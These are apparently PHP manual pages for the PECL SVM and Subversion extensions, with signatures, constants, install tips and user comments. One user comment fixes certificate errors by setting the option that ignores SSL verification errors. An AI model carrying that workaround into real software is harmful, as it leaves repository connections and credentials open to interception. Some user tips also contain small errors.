  • Return the current training parameters

SVM::getOptions

(PECL svm >= 0.1.0)

SVM::getOptions — Return the current training parameters

Description

public array SVM::getOptions ( void )

Retrieve an array containing the training parameters. The parameters will be keyed on the predefined SVM constants.

Parameters

This function has no parameters.

Return Values

Returns an array of configuration settings.

User Contributed Notes

There are no user contributed notes for this page.


Set training parameters

  • « SVM::getOptions
  • SVM::train »
  • PHP Manual
  • SVM
  • Set training parameters

SVM::setOptions

(PECL svm >= 0.1.0)

SVM::setOptions — Set training parameters

Description

public bool SVM::setOptions ( array $params )

Set one or more training parameters.

Parameters

params

An array of training parameters, keyed on the SVM constants.

Return Values

Return true on success, throws SVMException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create a SVMModel based on training data

  • « SVM::setOptions
  • SVMModel »
  • PHP Manual
  • SVM
  • Create a SVMModel based on training data

SVM::train

(PECL svm >= 0.1.0)

SVM::train — Create a SVMModel based on training data

Description

public SVMModel svm::train ( array $problem [, array $weights ] )

Train a support vector machine based on the supplied training data.

Parameters

problem

The problem can be provided in three different ways. An array, where the data should start with the class label (usually 1 or -1) then followed by a sparse data set of dimension => data pairs. A URL to a file containing a SVM Light formatted problem, with the each line being a new training example, the start of each line containing the class (1, -1) then a series of tab separated data values shows as key:value. A opened stream pointing to a data source formatted as in the file above.

weights

Weights are an optional set of weighting parameters for the different classes, to help account for unbalanced training sets. For example, if the classes were 1 and -1, and -1 had significantly more example than one, the weight for -1 could be 0.5. Weights should be in the range 0-1.

Return Values

Returns an SVMModel that can be used to classify previously unseen data. Throws SVMException on error

User Contributed Notes

There are no user contributed notes for this page.


The SVMModel class

(PECL svm >= 0.1.0)

Introduction

The SVMModel is the end result of the training process. It can be used to classify previously unseen data.

Class synopsis

SVMModel {
/* Methods */
public bool checkProbabilityModel ( void )
public __construct ([ string $filename ] )
public array getLabels ( void )
public int getNrClass ( void )
public int getSvmType ( void )
public float getSvrProbability ( void )
public bool load ( string $filename )
public float predict_probability ( array $data )
public float predict ( array $data )
public bool save ( string $filename )
}

Table of Contents

  • SVMModel::checkProbabilityModel — Returns true if the model has probability information
  • SVMModel::__construct — Construct a new SVMModel
  • SVMModel::getLabels — Get the labels the model was trained on
  • SVMModel::getNrClass — Returns the number of classes the model was trained with
  • SVMModel::getSvmType — Get the SVM type the model was trained with
  • SVMModel::getSvrProbability — Get the sigma value for regression types
  • SVMModel::load — Load a saved SVM Model
  • SVMModel::predict_probability — Return class probabilities for previous unseen data
  • SVMModel::predict — Predict a value for previously unseen data
  • SVMModel::save — Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.


Returns true if the model has probability information

  • « SVMModel
  • SVMModel::__construct »
  • PHP Manual
  • SVMModel
  • Returns true if the model has probability information

SVMModel::checkProbabilityModel

(PECL svm >= 0.1.5)

SVMModel::checkProbabilityModel — Returns true if the model has probability information

Description

public bool SVMModel::checkProbabilityModel ( void )

Returns true if the model contains probability information.

Parameters

This function has no parameters.

Return Values

Return a boolean value

User Contributed Notes

There are no user contributed notes for this page.


Construct a new SVMModel

  • « SVMModel::checkProbabilityModel
  • SVMModel::getLabels »
  • PHP Manual
  • SVMModel
  • Construct a new SVMModel

SVMModel::__construct

(PECL svm >= 0.1.0)

SVMModel::__construct — Construct a new SVMModel

Description

public SVMModel::__construct ([ string $filename ] )

Build a new SVMModel. Models will usually be created from the SVM::train function, but then saved models may be restored directly.

Parameters

filename

The filename for the saved model file this model should load.

Return Values

Throws SVMException on error

See Also

  • SVMModel::load() - Load a saved SVM Model

User Contributed Notes

There are no user contributed notes for this page.


Get the labels the model was trained on

  • « SVMModel::__construct
  • SVMModel::getNrClass »
  • PHP Manual
  • SVMModel
  • Get the labels the model was trained on

SVMModel::getLabels

(PECL svm >= 0.1.5)

SVMModel::getLabels — Get the labels the model was trained on

Description

public array SVMModel::getLabels ( void )

Return an array of labels that the model was trained on. For regression and one class models an empty array is returned.

Parameters

This function has no parameters.

Return Values

Return an array of labels

See Also

  • SVMModel::getNrClass() - Returns the number of classes the model was trained with

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of classes the model was trained with

  • « SVMModel::getLabels
  • SVMModel::getSvmType »
  • PHP Manual
  • SVMModel
  • Returns the number of classes the model was trained with

SVMModel::getNrClass

(PECL svm >= 0.1.5)

SVMModel::getNrClass — Returns the number of classes the model was trained with

Description

public int SVMModel::getNrClass ( void )

Returns the number of classes the model was trained with, will return 2 for one class and regression models.

Parameters

This function has no parameters.

Return Values

Return an integer number of classes

User Contributed Notes

There are no user contributed notes for this page.


Get the SVM type the model was trained with

  • « SVMModel::getNrClass
  • SVMModel::getSvrProbability »
  • PHP Manual
  • SVMModel
  • Get the SVM type the model was trained with

SVMModel::getSvmType

(PECL svm >= 0.1.5)

SVMModel::getSvmType — Get the SVM type the model was trained with

Description

public int SVMModel::getSvmType ( void )

Returns an integer value representing the type of the SVM model used, e.g SVM::C_SVC.

Parameters

This function has no parameters.

Return Values

Return an integer SVM type

User Contributed Notes

There are no user contributed notes for this page.


Get the sigma value for regression types

  • « SVMModel::getSvmType
  • SVMModel::load »
  • PHP Manual
  • SVMModel
  • Get the sigma value for regression types

SVMModel::getSvrProbability

(PECL svm >= 0.1.5)

SVMModel::getSvrProbability — Get the sigma value for regression types

Description

public float SVMModel::getSvrProbability ( void )

For regression models, returns a sigma value. If there is no probability information or the model is not SVR, 0 is returned.

Parameters

This function has no parameters.

Return Values

Returns a sigma value

User Contributed Notes

There are no user contributed notes for this page.


Load a saved SVM Model

  • « SVMModel::getSvrProbability
  • SVMModel::predict_probability »
  • PHP Manual
  • SVMModel
  • Load a saved SVM Model

SVMModel::load

(PECL svm >= 0.1.00.1.0)

SVMModel::load — Load a saved SVM Model

Description

public bool SVMModel::load ( string $filename )

Load a model file ready for classification or regression.

Parameters

filename

The filename of the model.

Return Values

Throws SVMException on error. Returns true on success.

See Also

  • SVMModel::save() - Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.


Return class probabilities for previous unseen data

  • « SVMModel::load
  • SVMModel::predict »
  • PHP Manual
  • SVMModel
  • Return class probabilities for previous unseen data

SVMModel::predict_probability

(PECL svm >= 0.1.4)

SVMModel::predict_probability — Return class probabilities for previous unseen data

Description

public float SVMModel::predict_probability ( array $data )

This function accepts an array of data and attempts to predict the class, as with the predict function. Additionally, however, this function returns an array of probabilities, one per class in the model, which represent the estimated chance of the data supplied being a member of that class. Requires that the model to be used has been trained with the probability parameter set to true.

Parameters

data

The array to be classified. This should be a series of key => value pairs in increasing key order, but not necessarily continuous.

probabilities

The supplied value will be filled with the probabilities. This will be either null, in the case of a model without probability information, or an array where the index is the class name and the value the predicted probability.

Return Values

Float the predicted value. This will be a class label in the case of classification, a real value in the case of regression. Throws SVMException on error

See Also

  • SVM::predict()

User Contributed Notes

There are no user contributed notes for this page.


Predict a value for previously unseen data

  • « SVMModel::predict_probability
  • SVMModel::save »
  • PHP Manual
  • SVMModel
  • Predict a value for previously unseen data

SVMModel::predict

(PECL svm >= 0.1.0)

SVMModel::predict — Predict a value for previously unseen data

Description

public float SVMModel::predict ( array $data )

This function accepts an array of data and attempts to predict the class or regression value based on the model extracted from previously trained data.

Parameters

data

The array to be classified. This should be a series of key => value pairs in increasing key order, but not necessarily continuous.

Return Values

Float the predicted value. This will be a class label in the case of classification, a real value in the case of regression. Throws SVMException on error

See Also

  • SVM::train() - Create a SVMModel based on training data

User Contributed Notes

There are no user contributed notes for this page.


Save a model to a file

  • « SVMModel::predict
  • SVN »
  • PHP Manual
  • SVMModel
  • Save a model to a file

SVMModel::save

(PECL svm >= 0.1.0)

SVMModel::save — Save a model to a file

Description

public bool SVMModel::save ( string $filename )

Save the model data to a file, for later use.

Parameters

filename

The file to save the model to.

Return Values

Throws SVMException on error. Returns true on success.

See Also

  • SVMModel::load() - Load a saved SVM Model

User Contributed Notes

There are no user contributed notes for this page.


Subversion

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SVN Functions
    • svn_add — Schedules the addition of an item in a working directory
    • svn_auth_get_parameter — Retrieves authentication parameter
    • svn_auth_set_parameter — Sets an authentication parameter
    • svn_blame — Get the SVN blame for a file
    • svn_cat — Returns the contents of a file in a repository
    • svn_checkout — Checks out a working copy from the repository
    • svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks
    • svn_client_version — Returns the version of the SVN client libraries
    • svn_commit — Sends changes from the local working copy to the repository
    • svn_delete — Delete items from a working copy or repository.
    • svn_diff — Recursively diffs two paths
    • svn_export — Export the contents of a SVN directory
    • svn_fs_abort_txn — Abort a transaction, returns true if everything is okay, false otherwise
    • svn_fs_apply_text — Creates and returns a stream that will be used to replace
    • svn_fs_begin_txn2 — Create a new transaction
    • svn_fs_change_node_prop — Return true if everything is ok, false otherwise
    • svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot
    • svn_fs_contents_changed — Return true if content is different, false otherwise
    • svn_fs_copy — Copies a file or a directory, returns true if all is ok, false otherwise
    • svn_fs_delete — Deletes a file or a directory, return true if all is ok, false otherwise
    • svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type
    • svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs
    • svn_fs_file_length — Returns the length of a file from a given version of the fs
    • svn_fs_is_dir — Return true if the path points to a directory, false otherwise
    • svn_fs_is_file — Return true if the path points to a file, false otherwise
    • svn_fs_make_dir — Creates a new empty directory, returns true if all is ok, false otherwise
    • svn_fs_make_file — Creates a new empty file, returns true if all is ok, false otherwise
    • svn_fs_node_created_rev — Returns the revision in which path under fsroot was created
    • svn_fs_node_prop — Returns the value of a property for a node
    • svn_fs_props_changed — Return true if props are different, false otherwise
    • svn_fs_revision_prop — Fetches the value of a named property
    • svn_fs_revision_root — Get a handle on a specific version of the repository root
    • svn_fs_txn_root — Creates and returns a transaction root
    • svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem
    • svn_import — Imports an unversioned path into a repository
    • svn_log — Returns the commit log messages of a repository URL
    • svn_ls — Returns list of directory contents in repository URL, optionally at revision number
    • svn_mkdir — Creates a directory in a working copy or repository
    • svn_repos_create — Create a new subversion repository at path
    • svn_repos_fs_begin_txn_for_commit — Create a new transaction
    • svn_repos_fs_commit_txn — Commits a transaction and returns the new revision
    • svn_repos_fs — Gets a handle on the filesystem for a repository
    • svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath
    • svn_repos_open — Open a shared lock on a repository.
    • svn_repos_recover — Run recovery procedures on the repository located at path.
    • svn_revert — Revert changes to the working copy
    • svn_status — Returns the status of working copy files and directories
    • svn_update — Update working copy

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension implements PHP bindings for » Subversion (SVN), a version control system, allowing PHP scripts to communicate with SVN repositories and working copies without direct command line calls to the svn executable.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The Subversion binaries are not necessary to use this extension. However, when compiling the extension, libsvn (the Subversion headers) must be available.

User Contributed Notes

IfTrueElseFalse 01-Sep-2010 07:15
If you get
checking for svn includes... configure: error: failed to find svn_client.h

Try
sudo apt-get install libsvn-dev


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/svn

If ./configure is having trouble finding the SVN files (for example, Subversion was installed with a different prefix directory), use ./configure --with-svn=$USR_PATH to specify the directory where the include/subversion-1/ folder is located.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Warning

If the extension is compiled against libsvn 1.3, functions that work with working copies will fail when used on working copies created by Subversion 1.4.

User Contributed Notes

alexcescalona at gmail dot com 21-Jun-2011 05:38
If you use CollabNet's Subversion client (v. 1.6.13), the development libraries are included. For the most current version (v 1.6.17) you may need to install CollabNet Subversion Edge for access to the development libraries.

Sure, the subversion-devel package should not conflict with Collabnet, but it has a dependency with the subversion package, which installs svn binaries in /usr/bin, which takes precedence over CollabNet's path in the PATH environment variable.
chris at livingresource dot net 16-Dec-2010 05:23
If you have Ubuntu (I know 10.04+, not sure about earlier), you can do this to install the package;

sudo apt-get php5-svn
Bruno Macias 01-Dec-2010 03:44
For install in CentOS 5.5

yum install subversion subversion-devel neon neon-devel
pecl install svn

echo "extension=svn.so" > /etc/php.d/svn.ini

service httpd restart
elpoutro at free dot fr 30-Sep-2008 07:44
For Windows:
If you use a fresh install of windows XP you will need all this DLL in your C:/windows/system32/ folder:
intl3_svn.dll, libdb43.dll, libapr.dll, libapriconv.dll, libaprutil.dll, libeay32.dll, msjava.dll, php5ts.dll, ssleay32.dll, vsinit.dll, msvcr71.dll, MSVCP71.DLL
I recommend to use DependencyWalker (http://www.dependencywalker.com/) with your php_svn.dll (in php extensions) to see exactly which ones you need.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SVN_REVISION_HEAD (integer)
Magic number (-1) specifying the HEAD revision
Constants usable with svn_auth_set_parameter()
SVN_AUTH_PARAM_DEFAULT_USERNAME (string)
Property for default username to use when performing basic authentication
SVN_AUTH_PARAM_DEFAULT_PASSWORD (string)
Property for default password to use when performing basic authentication
SVN_AUTH_PARAM_NON_INTERACTIVE (string)
SVN_AUTH_PARAM_DONT_STORE_PASSWORDS (string)
SVN_AUTH_PARAM_NO_AUTH_CACHE (string)
SVN_AUTH_PARAM_SSL_SERVER_FAILURES (string)
SVN_AUTH_PARAM_SSL_SERVER_CERT_INFO (string)
SVN_AUTH_PARAM_CONFIG (string)
SVN_AUTH_PARAM_SERVER_GROUP (string)
SVN_AUTH_PARAM_CONFIG_DIR (string)
PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS (string)
Custom property for ignoring SSL cert verification errors
Filesystem constants
SVN_FS_CONFIG_FS_TYPE (string)
Configuration key that determines filesystem type
SVN_FS_TYPE_BDB (string)
Filesystem is Berkeley-DB implementation
SVN_FS_TYPE_FSFS (string)
Filesystem is native-filesystem implementation
Reserved property constants
SVN_PROP_REVISION_DATE (string)
svn:date
SVN_PROP_REVISION_ORIG_DATE (string)
svn:original-date
SVN_PROP_REVISION_AUTHOR (string)
svn:author
SVN_PROP_REVISION_LOG (string)
svn:log
Working copy status constants
SVN_WC_STATUS_NONE (int)
Status does not exist
SVN_WC_STATUS_UNVERSIONED (int)
Item is not versioned in working copy
SVN_WC_STATUS_NORMAL (int)
Item exists, nothing else is happening
SVN_WC_STATUS_ADDED (int)
Item is scheduled for addition
SVN_WC_STATUS_MISSING (int)
Item is versioned but missing from the working copy
SVN_WC_STATUS_DELETED (int)
Item is scheduled for deletion
SVN_WC_STATUS_REPLACED (int)
Item was deleted and then re-added
SVN_WC_STATUS_MODIFIED (int)
Item (text or properties) was modified
SVN_WC_STATUS_MERGED (int)
Item's local modifications were merged with repository modifications
SVN_WC_STATUS_CONFLICTED (int)
Item's local modifications conflicted with repository modifications
SVN_WC_STATUS_IGNORED (int)
Item is unversioned but configured to be ignored
SVN_WC_STATUS_OBSTRUCTED (int)
Unversioned item is in the way of a versioned resource
SVN_WC_STATUS_EXTERNAL (int)
Unversioned path that is populated using svn:externals
SVN_WC_STATUS_INCOMPLETE (int)
Directory does not contain complete entries list
Node type constants
SVN_NODE_NONE (int)
Absent
SVN_NODE_FILE (int)
File
SVN_NODE_DIR (int)
Directory
SVN_NODE_UNKNOWN (int)
Something Subversion cannot identify

User Contributed Notes

There are no user contributed notes for this page.


SVN Functions

Table of Contents

  • svn_add — Schedules the addition of an item in a working directory
  • svn_auth_get_parameter — Retrieves authentication parameter
  • svn_auth_set_parameter — Sets an authentication parameter
  • svn_blame — Get the SVN blame for a file
  • svn_cat — Returns the contents of a file in a repository
  • svn_checkout — Checks out a working copy from the repository
  • svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks
  • svn_client_version — Returns the version of the SVN client libraries
  • svn_commit — Sends changes from the local working copy to the repository
  • svn_delete — Delete items from a working copy or repository.
  • svn_diff — Recursively diffs two paths
  • svn_export — Export the contents of a SVN directory
  • svn_fs_abort_txn — Abort a transaction, returns true if everything is okay, false otherwise
  • svn_fs_apply_text — Creates and returns a stream that will be used to replace
  • svn_fs_begin_txn2 — Create a new transaction
  • svn_fs_change_node_prop — Return true if everything is ok, false otherwise
  • svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot
  • svn_fs_contents_changed — Return true if content is different, false otherwise
  • svn_fs_copy — Copies a file or a directory, returns true if all is ok, false otherwise
  • svn_fs_delete — Deletes a file or a directory, return true if all is ok, false otherwise
  • svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type
  • svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs
  • svn_fs_file_length — Returns the length of a file from a given version of the fs
  • svn_fs_is_dir — Return true if the path points to a directory, false otherwise
  • svn_fs_is_file — Return true if the path points to a file, false otherwise
  • svn_fs_make_dir — Creates a new empty directory, returns true if all is ok, false otherwise
  • svn_fs_make_file — Creates a new empty file, returns true if all is ok, false otherwise
  • svn_fs_node_created_rev — Returns the revision in which path under fsroot was created
  • svn_fs_node_prop — Returns the value of a property for a node
  • svn_fs_props_changed — Return true if props are different, false otherwise
  • svn_fs_revision_prop — Fetches the value of a named property
  • svn_fs_revision_root — Get a handle on a specific version of the repository root
  • svn_fs_txn_root — Creates and returns a transaction root
  • svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem
  • svn_import — Imports an unversioned path into a repository
  • svn_log — Returns the commit log messages of a repository URL
  • svn_ls — Returns list of directory contents in repository URL, optionally at revision number
  • svn_mkdir — Creates a directory in a working copy or repository
  • svn_repos_create — Create a new subversion repository at path
  • svn_repos_fs_begin_txn_for_commit — Create a new transaction
  • svn_repos_fs_commit_txn — Commits a transaction and returns the new revision
  • svn_repos_fs — Gets a handle on the filesystem for a repository
  • svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath
  • svn_repos_open — Open a shared lock on a repository.
  • svn_repos_recover — Run recovery procedures on the repository located at path.
  • svn_revert — Revert changes to the working copy
  • svn_status — Returns the status of working copy files and directories
  • svn_update — Update working copy

User Contributed Notes

j dot saterfiel at gmail dot com 10-Jan-2013 09:53
The PHP SVN library functions as of 1.02 that are not listed in this documentation and their signatures

array svn_info(string path [, bool recurse = true [, int revision = -1]])

resource svn_copy(string log, string src_path, string destination_path [, bool working_copy = true [, int revision = -1]])

mixed svn_move(string src_path, string dst_path [, bool force = false])

mixed svn_proplist(string path [, bool recurse = false, [int revision]])

mixed svn_propget(string path, string property_name [, bool recurse = false [, int revision]])

bool svn_lock(string comment, mixed targets [, bool steal_lock = false])

bool svn_unlock(mixed targets [, bool break_lock= false])

resource svn_switch(string path, string url [, bool working_copy = true])

You can also use the new Svn() object for these $svn->lock()

In general any function should work just like the svn command line version.  For instance svn_info can be used against a remote url or a local path and svn_copy can also be used for local or remote operations.
bohwaz 04-Jan-2013 12:48
This extension also gives you access to an object API that is currently not documented anywhere. It uses the Svn, SvnWc, SvnWcSchedule and SvnNode classes. So you can't redeclare those names.

Here are some basics on how to use it:

<?php
$svn = new Svn;
$log = $svn->log('https://svn.example/trunk/', Svn::HEAD);
?>

Basically you can use all functions documented here by replacing the svn_ prefix with $svn-> object. Same for constants, most can be used directly from the objects.

If you're interested, make sure to check the extension source code to find out more.
chris dot lawrence at ljg dot com 30-Mar-2010 11:00
I also submitted this as a bug (since its about missing documentation).

This documentation does not mention the "svn_delete" command, but it was added in version 0.4.  You can check the release notes here:
http://pecl.php.net/package/svn/0.4

Also, you could look at the contents of the current source code (svn-0.5.1/svn.c).

But what you really need to know is that the svn_delete command works correctly with this prototype:
svn_delete(string path [, bool force = true])

It returns true on success and false on failure.
Pieter van Ginkel 21-Mar-2008 09:23
The Subversion functions work quite well for me, after some searching. I needed some time though to find out how they all worked together, but this is a basic example of svn_fs_is_file:

<?php

# Get a handle to the on-disk repository. Note that this
# is NOT a checked out project, but the actual svn repository!

$repos_handle = svn_repos_open('/var/lib/svn');
$fs_handle = svn_repos_fs($repos_handle);

# Now we need to open a revision because that's what the
# svn_fs_* methods need. You'll probably want the latest
# revision and we have a helper method for that.

$youngest_rev = svn_fs_youngest_rev($fs_handle);
$fs_rev_handle = svn_fs_revision_root($fs_handle, $youngest_rev);

# Now we can actually start doing stuff, for example the
# svn_fs_is_file call:

print_r(svn_fs_is_file($fs_rev_handle, '/a-file.txt'));

?>

There is one important thing to note about this all. You cannot let the handles expire while doing any calls to svn_fs_*. When implementing a helper class, I cached the first and third handle, but not the second one. PHP crashes hard when you do this. Keep references to all handles you get while you're calling the svn_fs_* methods.
tbrendstrup 19-Mar-2008 10:49
"[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]"

The subversion developers have a policy not to change stuff like this without changing the major version number, so these should be valid at least until subversion 2.0.0 is released. (more values might be added, but the existing ones won't change).
pierre dot beaumadier at rhapso dot fr 03-Oct-2007 03:59
[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]

For information, here are the numeric values I got for the constants :

Working copy status constants :
    * svn_wc_status_none => 1
    * svn_wc_status_unversioned => 2
    * svn_wc_status_normal => 3
    * svn_wc_status_added => 4
    * svn_wc_status_missing => 5
    * svn_wc_status_deleted => 6
    * svn_wc_status_replaced => 7
    * svn_wc_status_modified => 8
    * svn_wc_status_merged => 9
    * svn_wc_status_conflicted => 10
    * svn_wc_status_ignored => 11
    * svn_wc_status_obstructed => 12
    * svn_wc_status_external => 13
    * svn_wc_status_incomplete => 14

Node type constants :
    * svn_node_none => 0
    * svn_node_file => 1
    * svn_node_dir => 2
    * svn_node_unknown => 3


Schedules the addition of an item in a working directory

  • « SVN Functions
  • svn_auth_get_parameter »
  • PHP Manual
  • SVN Functions
  • Schedules the addition of an item in a working directory

svn_add

(PECL svn >= 0.1.0)

svn_add — Schedules the addition of an item in a working directory

Description

bool svn_add ( string $path [, bool $recursive = true [, bool $force = false ]] )

Adds the file, directory or symbolic link at path to the working directory. The item will be added to the repository the next time you call svn_commit() on the working copy.

Parameters

path

Path of item to add.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

recursive

If item is directory, whether or not to recursively add all of its contents. Default is TRUE

force

If true, Subversion will recurse into already versioned directories in order to add unversioned files that may be hiding in those directories. Default is FALSE

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 svn_add() example

In a working directory where svn status returns:

$ svn status
?      foobar.txt

...this code:

<?php
svn_add('foobar.txt');
?>

...will schedule foobar.txt for addition into the repository.

See Also

  • » SVN documentation on svn add

User Contributed Notes

There are no user contributed notes for this page.


Retrieves authentication parameter

  • « svn_add
  • svn_auth_set_parameter »
  • PHP Manual
  • SVN Functions
  • Retrieves authentication parameter

svn_auth_get_parameter

(PECL svn >= 0.1.0)

svn_auth_get_parameter — Retrieves authentication parameter

Description

string svn_auth_get_parameter ( string $key )

Retrieves authentication parameter at key. For a list of valid keys and their meanings, consult the authentication constants list.

Parameters

key

String key name. Use the authentication constants defined by this extension to specify a key.

Return Values

Returns the string value of the parameter at key; returns NULL if parameter does not exist.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • svn_auth_set_parameter() - Sets an authentication parameter
  • Authentication constants

User Contributed Notes

There are no user contributed notes for this page.


Sets an authentication parameter

  • « svn_auth_get_parameter
  • svn_blame »
  • PHP Manual
  • SVN Functions
  • Sets an authentication parameter

svn_auth_set_parameter

(PECL svn >= 0.1.0)

svn_auth_set_parameter — Sets an authentication parameter

Description

void svn_auth_set_parameter ( string $key , string $value )

Sets authentication parameter at key to value. For a list of valid keys and their meanings, consult the authentication constants list.

Parameters

key

String key name. Use the authentication constants defined by this extension to specify a key.

value

String value to set to parameter at key. Format of value varies with the parameter.

Return Values

No value is returned.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Default authentication example

This example configures SVN so that the default username to use is 'Bob' and the default password is 'abc123':

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
?>

See Also

  • svn_auth_get_parameter() - Retrieves authentication parameter
  • Authentication constants

User Contributed Notes

powtac at gmx dot de 07-Jun-2011 04:38
If you having trouble with certificate verification like this:

PHP Warning:  svn_log(): svn error(s) occured 175002 (RA  layer request failed) OPTIONS of 'https://example.com/your/repos/path': Server certificate verification failed: issuer is not trusted

Try this two steps:

1. Run

"svn log https://example.com/your/repos/path"

on the commandline and permanent accept the certificate by typing "p" when asked.

2. Use the following settings for svn_auth_set_parameter() before calling other svn functions:

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME,             'your svn user');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD,             'your svn users password');
svn_auth_set_parameter(PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS, true); // <--- Important for certificate issues!
svn_auth_set_parameter(SVN_AUTH_PARAM_NON_INTERACTIVE,              true);
svn_auth_set_parameter(SVN_AUTH_PARAM_NO_AUTH_CACHE,                true);

var_dump(svn_log('https://example.com/your/repos/path'));
?>

This will work for SVN client libraries below 1.6!


Get the SVN blame for a file

  • « svn_auth_set_parameter
  • svn_cat »
  • PHP Manual
  • SVN Functions
  • Get the SVN blame for a file

svn_blame

(PECL svn >= 0.3.0)

svn_blame — Get the SVN blame for a file

Description

array svn_blame ( string $repository_url [, int $revision_no = SVN_REVISION_HEAD ] )

Get the SVN blame of a file from a repository URL.

Parameters

repository_url

The repository URL.

revision_no

The revision number.

Return Values

An array of SVN blame information separated by line which includes the revision number, line number, line of code, author, and date.

Examples

Example #1 svn_blame() example

<?php
$svnurl = 'http://svn.example.org/svnroot/foo/trunk/index.php';

print_r( svn_blame($svnurl) );

?>

The above example will output something similar to:

Array
(
    [0] = Array
          (
           [rev] = 1
           [line_no] = 1
           [line] = Hello World
           [author] = joesmith
           [date] = 2007-07-02T05:51:26.628396Z
          )
    [1] = Array
          ...

See Also

  • svn_diff() - Recursively diffs two paths
  • svn_logs()
  • svn_status() - Returns the status of working copy files and directories

User Contributed Notes

There are no user contributed notes for this page.


Returns the contents of a file in a repository

  • « svn_blame
  • svn_checkout »
  • PHP Manual
  • SVN Functions
  • Returns the contents of a file in a repository

svn_cat

(PECL svn >= 0.1.0)

svn_cat — Returns the contents of a file in a repository

Description

string svn_cat ( string $repos_url [, int $revision_no ] )

Returns the contents of the URL repos_url to a file in the repository, optionally at revision number revision_no.

Parameters

repos_url

String URL path to item in a repository.

revision_no

Integer revision number of item to retrieve, default is the HEAD revision.

Return Values

Returns the string contents of the item from the repository on success, and FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example retrieves the contents of a file at revision 28:

<?php
$contents = svn_cat('http://www.example.com/svnroot/calc/gui.c', 28)
?>

See Also

  • svn_list()
  • » SVN documentation on svn cat

User Contributed Notes

colm 21-Feb-2014 07:16
Just to add to Adam's comment, when retrieving a file contents I found I got the best results using the same revision in both places every time; ie. as follows:

<?php
svn_cat ($url.'@'.$revision, $revision);
?>

The one appended to the URL is the peg revision, and the one in the second paramer is the operative revision.

This seems to cover all the bases.
Adam 27-Mar-2013 11:16
There is a difference how svn cat works for deleted files. For deleted file commandline `svn cat -r xxx <full_url>` will give error, but 'svn cat <full_url>@xxx` will cat file from the past.
Unfortunately this method will not cat deleted file.


Checks out a working copy from the repository

  • « svn_cat
  • svn_cleanup »
  • PHP Manual
  • SVN Functions
  • Checks out a working copy from the repository

svn_checkout

(PECL svn >= 0.1.0)

svn_checkout — Checks out a working copy from the repository

Description

bool svn_checkout ( string $repos , string $targetpath [, int $revision [, int $flags = 0 ]] )

Checks out a working copy from the repository at repos to targetpath at revision revision.

Parameters

repos

String URL path to directory in repository to check out.

targetpath

String local path to directory to check out in to

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

revision

Integer revision number of repository to check out. Default is HEAD, the most recent revision.

flags

Any combination of SVN_NON_RECURSIVE and SVN_IGNORE_EXTERNALS.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates how to check out a directory from a repository to a directory named calc:

<?php
svn_checkout('http://www.example.com/svnroot/calc/trunk', dirname(__FILE__) . '/calc');
?>

The dirname(__FILE__) call is necessary in order to convert the calc relative path into an absolute one. If calc exists, you can also use realpath() to retrieve an absolute path.

See Also

  • svn_add() - Schedules the addition of an item in a working directory
  • svn_commit() - Sends changes from the local working copy to the repository
  • svn_status() - Returns the status of working copy files and directories
  • svn_update() - Update working copy
  • » SVN documentation on svn checkout

User Contributed Notes

There are no user contributed notes for this page.


Recursively cleanup a working copy directory, finishing incomplete operations and removing locks

  • « svn_checkout
  • svn_client_version »
  • PHP Manual
  • SVN Functions
